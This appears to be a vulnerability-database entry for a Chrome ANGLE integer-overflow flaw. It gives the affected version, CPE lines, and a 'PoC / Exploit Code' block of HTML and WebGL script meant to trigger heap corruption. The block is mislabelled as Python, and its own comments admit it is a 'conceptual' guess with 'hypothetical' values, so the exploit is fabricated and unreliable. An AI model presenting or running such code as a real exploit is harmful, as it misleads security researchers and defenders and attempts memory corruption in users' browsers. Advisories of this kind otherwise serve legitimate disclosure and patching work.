Integer overflow in ANGLE in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4464: Chrome ANGLE Integer Overflow -->
<!-- Trigger heap corruption via crafted WebGL operations -->
<!DOCTYPE html>
<html>
<script>
function trigger_overflow() {
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl');
if (!gl) return;
// Crafted parameters to trigger integer overflow in ANGLE
// This is a conceptual representation based on the vulnerability description
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Attempting to allocate with overflowed size
try {
// Specific values that trigger the overflow (hypothetical)
gl.bufferData(gl.ARRAY_BUFFER, new ArrayBuffer(0xFFFFFFFF), gl.STATIC_DRAW);
} catch(e) {
console.log("Exception caught: " + e);
}
}
trigger_overflow();
</script>
</html>